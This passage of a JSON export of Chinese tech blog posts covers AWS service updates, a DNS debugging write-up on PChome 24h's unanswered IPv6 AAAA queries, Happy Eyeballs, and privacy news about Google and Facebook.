src=\"https://i.gslin.com/imgur/CSnZ5xT.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tRxP81K.webp\" /><img src=\"https://i.gslin.com/imgur/tRxP81K.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/GhPtw01.webp\" /><img src=\"https://i.gslin.com/imgur/GhPtw01.jpg\" alt=\"\" /></picture>\r\n\r\n這幾個功能果然是抄來抄去... XD",
    "title": "AWS CodeCommit 支援 Pull Request 與聊天功能 XDDD"
  },
  {
    "id": "7804",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 的「<a href=\"https://aws.amazon.com/blogs/aws/new-interactive-aws-cost-explorer-api/\">New – Interactive AWS Cost Explorer API</a>」這篇文章在一開頭就提到了 Cost Explorer API 的情況，所以他們要推出新的 API 改進：\r\n\r\n<blockquote>We launched the AWS Cost Explorer a couple of years ago in order to allow you to track, allocate, and manage your AWS costs. The response to that launch, and to additions that we have made since then, has been very positive. However our customers are, as Jeff Bezos has said, “beautifully, wonderfully, dissatisfied.”</blockquote>\r\n\r\n不過讓我笑出來的是選圖啊... 大概是 <a href=\"http://jeff-barr.com/\">Jeff Barr</a> 夠硬的關係，直接選了這張：\r\n\r\n<img src=\"https://i.gslin.com/imgur/LQTYcgE.jpg\" alt=\"\" />\r\n\r\n我喜歡這張 XD (尤其配合著出現在官方 blog 上的時候)",
    "title": "AWS 推出新的 Cost Explorer API，不過 API 不是重點啦..."
  },
  {
    "id": "7805",
    "body": "這個大家等好久了，尤其 <a href=\"https://dev.mysql.com/\">MySQL</a> 常遇到需要用記憶體換效能的情境：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/amazon-rds-for-mysql-and-mariadb-supports-r4-t2-and-m4-instance-types/\">Amazon RDS for MySQL and MariaDB Supports R4, T2 and M4 Instance Types</a>」。\r\n\r\n先前 <code>t2</code> 最大只能開到 <code>t2.large</code> (8GB RAM)，對於需要大量記憶體運算的 SQL query，就有機會被 MySQL 使用 filesort 寫到硬碟裡面暫存了。這次支援這些 instance type，開發環境至少有選擇可以開到 <code>t2.2xlarge</code> (32GB RAM) 跟他拼。\r\n\r\n而 <code>r4</code> 應該是正式環境期待已久的 instance type 了。<code>r3</code> 最大是 <code>r3.8xlarge</code> (244GB)，跟 <code>r4</code> 最大的 <code>r4.16xlarge</code> (488GB) 剛好差了一倍。\r\n\r\n<code>m4</code> 就比較微妙了，順便補上去的感覺... 不過應該還是會有應用會剛好用到。\r\n\r\n不過還是期待前陣子出來的 <code>c5</code>，對於寫出很驚人的 SQL query，在 MySQL 內跑大量運算的應用會有幫助，就繼續等吧... :o",
    "title": "RDS (MySQL/MariaDB) 支援 t2、r4 以及 m4 的新機種"
  },
  {
    "id": "7806",
    "body": "每年 <a href=\"https://reinvent.awsevents.com/\">AWS re:Invent</a> 要到的時候就會有很多新的消息出來，<a href=\"https://aws.amazon.com/elasticache/\">Amazon ElastiCache</a> 的團隊應該也是配合著這一波放出消息：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/amazon-elasticache-now-supports-the-r4-node-family/\">Amazon ElastiCache Now Supports the R4 Node Family</a>」。\r\n\r\n包括了 <a href=\"https://memcached.org/\">memcached</a> 與 <a href=\"https://redis.io/\">Redis</a> 都支援了：\r\n\r\n<blockquote>Amazon ElastiCache now supports R4 node types. R4 nodes are optimized for latency sensitive and memory intensive workloads. They come in six sizes, providing 12.3GiB to 407GiB of available in-memory capacity. By setting up a 15-shard cluster for Redis, you can scale up to 6.1TiB of in-memory capacity. For Memcached, you can set up a 20-node cluster to support up to 8.14 TiB in-memory workloads. Equipped with the Intel Broadwell processor, and improved networking, R4 node family offers superior performance over the popular R3 node family.</blockquote>\r\n\r\n這兩個應用都是看記憶體吃飯的...",
    "title": "ElastiCache 支援 r4.* 了"
  },
  {
    "id": "7807",
    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 新的防範報復性照片計畫不少媒體都有報導了，我拿 <a href=\"https://www.schneier.com/\">Bruce Schneier</a> 這篇來引用好了：「<a href=\"https://www.schneier.com/blog/archives/2017/11/facebook_finger.html\">Facebook Fingerprinting Photos to Prevent Revenge Porn</a>」。\r\n\r\n重點是：\r\n\r\n<blockquote>According to a Facebook spokesperson, Facebook workers will have to review full, uncensored versions of nude images first, volunteered by the user, to determine if malicious posts by other users qualify as revenge porn.</blockquote>\r\n\r\n智障... 結果裸照從這些管道先傳出去？",
    "title": "Facebook 的智障防範措施..."
  },
  {
    "id": "7810",
    "body": "有人在 <a href=\"https://unix.stackexchange.com/\">Unix &amp; Linux Stack Exchange</a> 上抱怨他的自動化測試在清晨會爛掉，但其他時間都好的：「<a href=\"https://unix.stackexchange.com/questions/405783/why-does-man-print-gimme-gimme-gimme-at-0030\">Why does man print “gimme gimme gimme” at 00:30?</a>」。\r\n\r\n<blockquote>We've noticed that some of our automatic tests fail when they run at 00:30 but work fine the rest of the day. They fail with the message \"gimme gimme gimme\" in stderr, which wasn't expected. Why are we getting this output?</blockquote>\r\n\r\n然後兇手跟作者都自己跑來出來說明 &amp; 修正了 XDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/6jUtukW.webp\" /><img src=\"https://i.gslin.com/imgur/6jUtukW.jpg\" alt=\"\" /></picture>\r\n\r\n該 tweet 出自：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">Dear <a href=\"https://twitter.com/colmmacuait?ref_src=twsrc%5Etfw\">@colmmacuait</a>, I think that if you type &quot;man&quot; at 0001 hours it should print &quot;gimme gimme gimme&quot;. <a href=\"https://twitter.com/hashtag/abba?src=hash&amp;ref_src=twsrc%5Etfw\">#abba</a></p>&mdash; Marnanel Thurman (@marnanel) <a href=\"https://twitter.com/marnanel/status/132280557190119424?ref_src=twsrc%5Etfw\">November 4, 2011</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n最近 man 怎麼這麼紅啊 XDDD (像是「<a href=\"https://www.sudosatirical.com/articles/10-year-old-root-exploit-found-in-man-command/\">10 Year Old Root Exploit Found in 'man' Command</a>」)，你們這些人不要亂搞啊 XDDD 這樣很吃大家通靈的時間啊 XDDD",
    "title": "man 的復活節彩蛋"
  },
  {
    "id": "7811",
    "body": "在 <a href=\"https://www.netcraft.com/\">Netcraft</a> 的「<a href=\"https://news.netcraft.com/archives/2017/11/21/november-2017-web-server-survey.html\">November 2017 Web Server Survey</a>」這篇看到關於 <a href=\"https://www.google.com/\">Google</a> 弄到的 <code>.search</code> 網域：\r\n\r\n<blockquote>This month the controversial new .search gTLD being run by Google’s Charleston Road Registry subsidiary was found for the first time, with www.nic.search responding to the survey. Google hopes it will be able to run .search as a dotless domain which will automatically redirect users to their search engine of choice. This proposal has been criticised for going against ICANN’s own rules, which prohibits this functionality due to the potential for conflicts with existing names on internal networks. This feature could also cause confusion for users who have come to expect that typing words into their address bar will perform a search query for that term.\r\n\r\nIt is currently uncertain whether or not Google will be allowed to run the .search TLD as a dotless domain, however with the launch of the first site on this TLD this month Google is one step closer to the provision of this service.</blockquote>\r\n\r\n找了一下資料，<a href=\"https://icannwiki.org/\">ICANNWiki</a> 上的「<a href=\"https://icannwiki.org/.search\">.search</a>」有些資料，另外也有新聞資訊 (2013 年的)：「<a href=\"https://techcrunch.com/2013/04/10/google-wants-to-operate-search-as-a-dotless-domain/\">Google Wants To Operate .Search As A “Dotless” Domain, Plans To Open .Cloud, .Blog And .App To Others</a>」。\r\n\r\n不太妙...",
    "title": "Google 的 .search 網域"
  },
  {
    "id": "7812",
    "body": "<strong>Update</strong>：續篇請參考「<a href=\"https://blog.gslin.org/archives/2017/11/23/7820/pchome-24h-%E9%80%A3%E7%B7%9A%E6%9C%83%E6%85%A2%E7%9A%84%E5%8E%9F%E5%9B%A0-%E7%BA%8C%E7%AF%87/\">PChome 24h 連線會慢的原因... (續篇)</a>」。\r\n\r\n<strong>tl;dr</strong>：因為他們的 DNS servers 不會對 IPv6 的 <code>AAAA</code> record 正確的回應 <code>NXDOMAIN</code>，導致 DNS resolver 會不斷嘗試。\r\n\r\n好像一行就把原因講完了啊，還是多寫一些細節好了。\r\n\r\n起因於我的電腦連 <a href=\"https://24h.pchome.com.tw/\">PChome 24h</a> 時常常會卡住，<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 會寫「Resolving host...」，於是就花了些時間找這個問題。\r\n\r\n一開始先用幾個工具測試，發現 <a href=\"https://en.wikipedia.org/wiki/Host_(Unix)\">host</a> 會卡，但不知道卡什麼：\r\n\r\n<pre>$ host 24h.pchome.com.tw</pre>\r\n\r\n拿 <a href=\"https://en.wikipedia.org/wiki/Tcpdump\">tcpdump</a> 出來聽的時候發現 host 會跑 <code>A</code>、<code>AAAA</code> 以及 <code>MX</code> 三個種類，而後面兩個都會卡住：\r\n\r\n<pre>24h.pchome.com.tw is an alias for shopping.gs1.pchome.com.tw.\r\nshopping.gs1.pchome.com.tw has address 210.242.43.53\r\n;; connection timed out; no servers could be reached\r\n;; connection timed out; no servers could be reached</pre>\r\n\r\n這樣就有方向了... 我的電腦是 Dual-stack network (同時有 IPv4 address 與 IPv6 address)，所以可以預期 Google Chrome 會去查 IPv6 address。而國內很多網站都還沒有把有 IPv6 的情境當標準測試，很容易中獎...\r\n\r\n有了方向後，用 <a href=\"https://en.wikipedia.org/wiki/Dig_(command)\">dig</a> 測試 IPv6 的 <code>AAAA</code>，發現都是給 <code>SERVFAIL</code>，而且多跑幾次就發現會卡住：\r\n\r\n<pre>$ dig 24h.pchome.com.tw aaaa @168.95.192.1</pre>\r\n\r\n然後對 <code>{cheetah,dns,dns2,dns3,wolf}.pchome.com.tw</code> (上層登記的) 與 <code>dns4.pchome.com.tw</code> (實際多的) 測，可以拿到 <code>CNAME</code> record，像是這樣：\r\n\r\n<pre><small><small>$ dig 24h.pchome.com.tw aaaa @dns.pchome.com.tw\r\n\r\n; &lt;&lt;&gt;&gt; DiG 9.9.5-3ubuntu0.16-Ubuntu &lt;&lt;&gt;&gt; 24h.pchome.com.tw aaaa @dns.pchome.com.tw\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 26037\r\n;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 5, ADDITIONAL: 6\r\n;; WARNING: recursion requested but not available\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 4096\r\n;; QUESTION SECTION:\r\n;24h.pchome.com.tw.             IN      AAAA\r\n\r\n;; ANSWER SECTION:\r\n24h.pchome.com.tw.      300     IN      CNAME   shopping.gs1.pchome.com.tw.\r\n\r\n;; AUTHORITY SECTION:\r\ngs1.pchome.com.tw.      300     IN      NS      ns3.gs1.pchome.com.tw.\r\ngs1.pchome.com.tw.      300     IN      NS      ns1.gs1.pchome.com.tw.\r\ngs1.pchome.com.tw.      300     IN      NS      ns4.gs1.pchome.com.tw.\r\ngs1.pchome.com.tw.      300     IN      NS      ns5.gs1.pchome.com.tw.\r\ngs1.pchome.com.tw.      300     IN      NS      ns2.gs1.pchome.com.tw.\r\n\r\n;; ADDITIONAL SECTION:\r\nns1.gs1.pchome.com.tw.  300     IN      A       210.242.216.91\r\nns2.gs1.pchome.com.tw.  300     IN      A       210.242.216.92\r\nns3.gs1.pchome.com.tw.  300     IN      A       210.242.43.93\r\nns4.gs1.pchome.com.tw.  300     IN      A       203.69.38.91\r\nns5.gs1.pchome.com.tw.  300     IN      A       210.71.147.91\r\n\r\n;; Query time: 12 msec\r\n;; SERVER: 210.59.230.85#53(210.59.230.85)\r\n;; WHEN: Wed Nov 22 11:05:24 CST 2017\r\n;; MSG SIZE  rcvd: 243</small></small></pre>\r\n\r\n但往 <code>ns{1,2,3,4,5}.gs1.pchome.com.tw</code> 問的時候給不出答案，也不給 <code>NXDOMAIN</code>，像是這樣：\r\n\r\n<pre><small><small>$ dig shopping.gs1.pchome.com.tw aaaa @ns1.gs1.pchome.com.tw\r\n\r\n; &lt;&lt;&gt;&gt; DiG 9.9.5-3ubuntu0.16-Ubuntu &lt;&lt;&gt;&gt; shopping.gs1.pchome.com.tw aaaa @ns1.gs1.pchome.com.tw\r\n;; global options: +cmd\r\n;; Got answer:\r\n;; -&gt;&gt;HEADER&lt;&lt;- opcode: QUERY, status: NOERROR, id: 36249\r\n;; flags: qr rd ad; QUERY: 1, ANSWER: 0, AUTHORITY: 5, ADDITIONAL: 6\r\n;; WARNING: recursion requested but not available\r\n\r\n;; OPT PSEUDOSECTION:\r\n; EDNS: version: 0, flags:; udp: 1280\r\n;; QUESTION SECTION:\r\n;shopping.gs1.pchome.com.tw.    IN      AAAA\r\n\r\n;; AUTHORITY SECTION:\r\ngs1.pchome.com.tw.      3600    IN      NS      ns3.gs1.pchome.com.tw.\r\ngs1.pchome.com.tw.      3600    IN      NS      ns4.gs1.pchome.com.tw.\r\ngs1.pchome.com.tw.      3600    IN      NS      ns5.gs1.pchome.com.tw.\r\ngs1.pchome.com.tw.      3600    IN      NS      ns1.gs1.pchome.com.tw.\r\ngs1.pchome.com.tw.      3600    IN      NS      ns2.gs1.pchome.com.tw.\r\n\r\n;; ADDITIONAL SECTION:\r\nns3.gs1.pchome.com.tw.  3600    IN      A       210.242.43.93\r\nns4.gs1.pchome.com.tw.  3600    IN      A       203.69.38.91\r\nns5.gs1.pchome.com.tw.  3600    IN      A       210.71.147.91\r\nns1.gs1.pchome.com.tw.  3600    IN      A       210.242.216.91\r\nns2.gs1.pchome.com.tw.  3600    IN      A       210.242.216.92\r\n\r\n;; Query time: 11 msec\r\n;; SERVER: 210.242.216.91#53(210.242.216.91)\r\n;; WHEN: Wed Nov 22 11:07:17 CST 2017\r\n;; MSG SIZE  rcvd: 310</small></small></pre>\r\n\r\n於是 DNS resolver 就倒在路邊了...",
    "title": "PChome 24h 連線會慢的原因..."
  },
  {
    "id": "7813",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 Diper ID 這個糟糕的東西：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"ja\" dir=\"ltr\">ちょ…ほんと寒い…手袋が欠かせない季節…でも、スマホの指紋認証で一々外すのって…<br>外さなくてもいい便利グッズ、ハンズで見つけました。<br>「Diper ID」2枚入780円+税より <a href=\"https://t.co/MdacZJTsB8\">pic.twitter.com/MdacZJTsB8</a></p>&mdash; 東急ハンズ (@TokyuHands) <a href=\"https://twitter.com/TokyuHands/status/932918434135805952?ref_src=twsrc%5Etfw\">November 21, 2017</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n查了資料，操作方式可以從這個影片看到：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/Fcq2-qQoeyw\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n這明顯有資安問題啊 XDDD",
    "title": "解鎖 iPhone 的 Diper ID..."
  },
  {
    "id": "7815",
    "body": "就如標題所寫的，<a href=\"https://qz.com/\">Quartz</a> 獨家刊出來的新聞，即使你關掉 <a href=\"https://www.google.com/\">Google</a> 的定位服務，Google 還是會蒐集你的位置 (而且跟 Google 發言人確認後也證實)：「<a href=\"https://qz.com/1131515/google-collects-android-users-locations-even-when-location-services-are-disabled/\">Google collects Android users’ locations even when location services are disabled</a>」。\r\n\r\n而且是全背景作業，在你沒有開定位服務，沒有插 SIM 卡，也沒有跑任何 app，他就會將定位資訊傳出去：\r\n\r\n<blockquote>Many people realize that smartphones track their locations. But what if you actively turn off location services, haven’t used any apps, and haven’t even inserted a carrier SIM card?</blockquote>\r\n\r\n從今年年初開始這樣搞的，Google 發言人只宣稱這個資料並沒有被用來整合到「network sync system」，並且會立即丟掉 (所以你還是不知道被用到什麼地方)：\r\n\r\n<blockquote>“In January of this year, we began looking into using Cell ID codes as an additional signal to further improve the speed and performance of message delivery,” the Google spokesperson said in an email. “However, we never incorporated Cell ID into our network sync system, so that data was immediately discarded, and we updated it to no longer request Cell ID.”</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/iUIPy0f.webp\" /><img src=\"https://i.gslin.com/imgur/iUIPy0f.jpg\" alt=\"\" /></picture>\r\n\r\n這句話的意思其實代表著是丟掉 raw data，改以統計的方式轉移存到其他系統。\r\n\r\n另外 <a href=\"https://daringfireball.net/\">John Gruber</a> 在「<a href=\"https://daringfireball.net/linked/2017/11/21/android-cell-tower-location\">Google Collects Android Users' Locations Even When Location Services Are Disabled</a>」其實寫的更直接：\r\n\r\n<blockquote>If they were “never used or stored”, why did they start collecting them in the first place? This is like a kid caught with their hand in the cookie jar saying they weren’t going to eat any cookies. Sure.</blockquote>\r\n\r\n白話一點就是「你當我傻逼啊」。\r\n\r\n應該會促進 <a href=\"https://microg.org/\">microG</a> 的發展... (參考「<a href=\"https://blog.gslin.org/archives/2017/11/09/7742/microg-%E7%9A%84%E9%80%B2%E5%B1%95/\">microG 的進展...</a>」)",
    "title": "就算關掉 Google 的定位服務也還是會蒐集位置資訊..."
  },
  {
    "id": "7816",
    "body": "上個月月底才宣佈 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 推出 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 版本 (參考「<a href=\"https://blog.gslin.org/archives/2017/10/25/7681/amazon-aurora-%E4%B9%9F%E6%94%AF%E6%8F%B4-postgresql-%E4%BA%86/\">Amazon Aurora 也支援 PostgreSQL 了</a>」)，不過當時只有少數的四個區域開放 (<code>us-east-1</code>、<code>us-east-2</code>、<code>us-west-2</code>、<code>eu-west-1</code>)，還不到一個月的時間就擴張了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/amazon-aurora-with-postgresql-compatibility-region-expansion/\">Amazon Aurora with PostgreSQL Compatibility Region Expansion</a>」。\r\n\r\n不過還是沒有東京與新加坡這兩個台灣比較常用的區域... 看起來都是比較新的 region，但首爾應該也是新的區域啊，不知道怎麼選擇的：\r\n\r\n<blockquote>The PostgreSQL-compatible edition of Amazon Aurora is now available in four additional AWS regions: Canada (Central), EU (Frankfurt), Asia Pacific (Sydney), and Asia Pacific (Mumbai). This increases the number of available regions to eight, as the service launched on October 24, 2017 in US East (N. Virginia), US East (Ohio), US West (Oregon), and EU (Ireland).</blockquote>",
    "title": "Amazon Aurora (PostgreSQL 版本) 開放到其他區域了"
  },
  {
    "id": "7817",
    "body": "<a href=\"https://aws.amazon.com/certificate-manager/\">AWS Certificate Manager</a> (ACM) 可以用 DNS 的方式認證了：「<a href=\"https://aws.amazon.com/blogs/security/easier-certificate-validation-using-dns-with-aws-certificate-manager/\">Easier Certificate Validation Using DNS with AWS Certificate Manager</a>」。\r\n\r\n不過這不同於 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 在推的 <a href=\"https://tools.ietf.org/html/draft-ietf-acme-acme\">dns-01</a>，而是 <a href=\"https://aws.amazon.com/\">AWS</a> 自己定義的方式：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Y9MCX0o.webp\" /><img src=\"https://i.gslin.com/imgur/Y9MCX0o.jpg\" alt=\"\" /></picture>\r\n\r\n然後文章後面又再次提醒了一次，如果要用在 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a>，必須使用 <code>us-east-1</code> 的 ACM：\r\n\r\n<blockquote>Note that your certificate must be in the US East (N. Virginia) Region to use the certificate with CloudFront.</blockquote>\r\n\r\n這個方式讓自動化更容易做... 以前需要收信確認，雖然也是可以寫程式硬幹，但就得冒著 AWS 改版造成程式失效的風險。",
    "title": "AWS Certificate Manager 支援 DNS 認證的方式頒發憑證了"
  },
  {
    "id": "7819",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2017/11/22/7812/pchome-24h-%E9%80%A3%E7%B7%9A%E6%9C%83%E6%85%A2%E7%9A%84%E5%8E%9F%E5%9B%A0/\">PChome 24h 連線會慢的原因...</a>」這篇的 comment 有讀者提到了 <a href=\"https://en.wikipedia.org/wiki/Happy_Eyeballs\">Happy Eyeballs</a> 應該可以解決這個問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/x1D3ryq.webp\" /><img src=\"https://i.gslin.com/imgur/x1D3ryq.jpg\" alt=\"\" /></picture>\r\n\r\n除了可以在維基百科上面看到外，比較正式的說明可以參考 RFC 6555：「<a href=\"https://tools.ietf.org/html/rfc6555\">Happy Eyeballs: Success with Dual-Stack Hosts</a>」，其中在「6. Example Algorithm」就有提到 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 與 <a href=\"https://www.mozilla.org/firefox/\">Mozilla Firefox</a> 怎麼實做 Happy Eyeballs：\r\n\r\n<blockquote>What follows is the algorithm implemented in Google Chrome and Mozilla Firefox.\r\n\r\n<ol>\r\n\t<li>Call getaddinfo(), which returns a list of IP addresses sorted by the host's address preference policy.</li>\r\n\t<li>Initiate a connection attempt with the first address in that list (e.g., IPv6).</li>\r\n\t<li>If that connection does not complete within a short period of time (Firefox and Chrome use 300 ms), initiate a connection attempt with the first address belonging to the other address family (e.g., IPv4).</li>\r\n\t<li>The first connection that is established is used.  The other connection is discarded.</li>\r\n</ol>\r\n\r\nIf an algorithm were to cache connection success/failure, the caching would occur after step 4 determined which connection was successful.\r\n\r\nOther example algorithms include [Perreault] and [Andrews].</blockquote>\r\n\r\n可以看到 Happy Eyeballs 的演算法是要避免 IPv6 network 不通的情況卡住很慢 (如果在 300ms 內連線沒有建起來，就會儘快往另外一個 address family 嘗試)，而不是在 DNS 層避免問題 (也就是 <code>getaddinfo()</code> 觸發的 DNS query)。\r\n\r\n這次的情況是 DNS query 很慢，就會導致還是一開始就很慢，Happy Eyeballs 沒辦法解決這個問題。\r\n\r\n不過話說回來，我是有印象知道有這個演算法，但不知道有「Happy Eyeballs」這個這麼逗趣的名字... (掩面)",
    "title": "Happy Eyeballs (RFC 6555)"
  },
  {
    "id": "7820",
    "body": "上一篇「<a href=\"https://blog.gslin.org/archives/2017/11/22/7812/pchome-24h-%E9%80%A3%E7%B7%9A%E6%9C%83%E6%85%A2%E7%9A%84%E5%8E%9F%E5%9B%A0/\">PChome 24h 連線會慢的原因...</a>」寫到 DNS resolver 會倒在路邊，但沒寫會怎麼倒... 因為規格書上沒有寫當問不到要問的東西時要怎麼處理，所以每一家處理的方式都不太一樣。\r\n\r\n我把對各 DNS resolver 查詢 100 次的結果放在 <a href=\"https://gist.github.com/\">GitHub Gist</a> 上：「<a href=\"https://gist.github.com/gslin/08da6ecef7315eb982b86ad19faf36b8\">Query 24h.pchome.com.tw</a>」，大家都是回 <code>SERVFAIL</code>，只是時間不一樣 (最後一個 <code>x.xxxx total</code> 的部份表示實際秒數，wall clock)。\r\n\r\n先看這次的主角好了，<a href=\"https://www.hinet.net/\">HiNet</a> 的 <code>168.95.1.1</code> 與 <code>168.95.192.1</code>，同時也應該是 <a href=\"https://24h.pchome.com.tw/\">PChome 24h</a> 服務使用人數最多的 DNS resolver。\r\n\r\n這兩個 DNS resolver 在遇到問題時不會馬上回 <code>SERVFAIL</code>，加上業界有小道消息說中華自己改了不少 code，所以跟一般的 open source software 行為不太一樣。由於看不到 <a href=\"http://www.pchome.com.tw/\">PChome</a> 端的 DNS packet，所以只能就行為來猜... 應該是在第一輪都查不到後，會先 random sleep 一段時間，然後再去問一次，如果第二次還是失敗的話才回應 <code>SERVFAIL</code>。\r\n\r\n這個 random sleep 看起來可能是 10 秒，因為數據上看起來最長的時間就是這個了。\r\n\r\n<a href=\"http://www.seed.net.tw/\">SEEDNet</a> 的 139.175.1.1 以及 <a href=\"https://www.google.com/\">Google</a> 的 <code>8.8.8.8</code> 都沒這個問題，都會馬上回應 <code>SERVFAIL</code>。\r\n\r\n前陣子新出的 <code>9.9.9.9</code> (參考「<a href=\"https://blog.gslin.org/archives/2017/11/18/7791/%E6%96%B0%E7%9A%84-dns-resolver%EF%BC%9A9-9-9-9/\">新的 DNS Resolver：9.9.9.9</a>」) 則是有些特別的狀況，可以看到前面有三個 query 很慢 (第 2、3、5 三行)，但後面的速度就正常了。可能是新加坡那邊有三台伺服器在服務 (目前我這邊測試的機器到 <code>9.9.9.9</code> 會到新加坡)，在第一次遇到都沒有答案時會有特殊的演算法先確認，之後就會 cache 住？\r\n\r\n所以各家 DNS resolver 反應都不太一樣，然後最大那家有問題 XD\r\n\r\n<code>24h.pchome.com.tw</code> 慢一次，<code>ecvip.pchome.com.tw</code> 再慢一次，圖片的 <code>a.ecimg.tw</code> 再慢一次，一個頁面上多來幾個 domain 就會讓人受不了了 XD\r\n\r\n其實我只要改成 <code>8.8.8.8</code> 或是改走 <code>proxy.hinet.net</code> 就可以解決啦，但還是寫下來吧 (抓頭)。",
    "title": "PChome 24h 連線會慢的原因... (續篇)"
  },
  {
    "id": "7821",
    "body": "<a href=\"https://aws.amazon.com/rds/\">Amazon RDS</a> 的升級：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/amazon-rds-now-supports-database-storage-size-up-to-16tb-and-faster-scaling-for-mysql-mariadb-oracle-and-postgresql-engines/\">Amazon RDS Now Supports Database Storage Size up to 16TB and Faster Scaling for MySQL, MariaDB, Oracle, and PostgreSQL Engines</a>」。\r\n\r\n空間上限從 6TB 變成 16TB，而且可以無痛升。另外 IOPS 上限從 30K 變成 40K：\r\n\r\n<blockquote>Starting today, you can create Amazon RDS database instances for MySQL, MariaDB, Oracle, and PostgreSQL database engines with up to 16TB of storage. Existing database instances can also be scaled up to 16TB storage without any downtime.\r\n\r\nThe new storage limit is an increase from 6TB and is supported for Provisioned IOPS and General Purpose SSD storage types. You can also provision up to 40,000 IOPS for Provisioned IOPS storage volumes, an increase from 30,000 IOPS.</blockquote>\r\n\r\n不過隔壁的 <a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 還是大很多啊 (64TB)，而且實際上不用管劃多大，他會自己長大：\r\n\r\n<blockquote>Q: What are the minimum and maximum storage limits of an Amazon Aurora database?\r\n\r\nThe minimum storage is 10GB. Based on your database usage, your Amazon Aurora storage will automatically grow, up to 64 TB, in 10GB increments with no impact to database performance. There is no need to provision storage in advance.</blockquote>",
    "title": "Amazon RDS 支援更大的硬碟空間與更多的 IOPS"
  },
  {
    "id": "7822",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到的文章，講 <a href=\"https://jekyllrb.com/\">Jekyll</a> 一路跟 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> 與 <a href=\"https://aws.amazon.com/cloudfront/\">Amazon CloudFront</a> 接上去的步驟：「<a href=\"https://zoph.me/cloud/Jekyll-Pipeline-CBCD/\">Jekyll CBCD Pipeline to the Cloud</a>」。\r\n\r\n我看了以後覺得好麻煩 @_@\r\n\r\n然後回頭看 Hacker News 上的評論：「<a href=\"https://news.ycombinator.com/item?id=15755768\">Jekyll Static Web Hosting – Deployment Pipeline on AWS | Hacker News</a>」，看到這段：\r\n\r\n<blockquote>What a nightmare. I'm sure there are use cases for a setup like this, but this is not the system I'd like to maintain. I use Jekyll because of it's simplicity. I edit my site in my favorite text editor and rsync to shared hosting.</blockquote>\r\n\r\n好多人都有同感啊 XDDD\r\n\r\n另外有人提到 <a href=\"https://www.netlify.com/\">Netlify</a> 這個服務：\r\n\r\n<blockquote>After I discovered Netlify, I'm kind of thinking \"why bother\". It's free, I just push to my repo and they take care of all the building/publishing/hosting/CDNs, and they're very responsive for support and have high availability. I'm a very happy customer (or rather leech, as I don't pay anything).</blockquote>\r\n\r\n下面評價看起來還算不錯，而且有 free tier 可以用，也許可以找機會玩看看...",
    "title": "靜態站台的選擇..."
  },
  {
    "id": "7823",
    "body": "先前 <a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a> 需要找台機器掛上去再同步 (無論是 <a href=\"https://aws.amazon.com/ec2/\">EC2</a> 的機器還是透過 VPN 將自己的機器接上去)，現在推出可以直接把檔案同步進去的服務了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2017/11/sync-files-to-amazon-elastic-file-system-quickly-easily-and-securely-with-efs-file-sync/\">Sync Files to Amazon Elastic File System Quickly, Easily and Securely with EFS File Sync</a>」。\r\n\r\n不過不是所有提供 Amazon EFS 的區域都有，目前只有 <code>us-east-1</code>、<code>us-east-2</code>、<code>us-west-2</code> 以及 <code>eu-west-1</code>：\r\n\r\n<blockquote>EFS File Sync is available in the US East (N. Virginia), US East (Ohio), US West (Oregon), and EU (Ireland) regions, with availability in the EU (Frankfurt) and Asia Pacific (Sydney) regions coming in December 2017. </blockquote>\r\n\r\n另外這是有費用的，目前有提供的四區都是 USD$0.01/GB。",
    "title": "Amazon EFS 推出 File Sync 服務"
  },
  {
    "id": "7824",
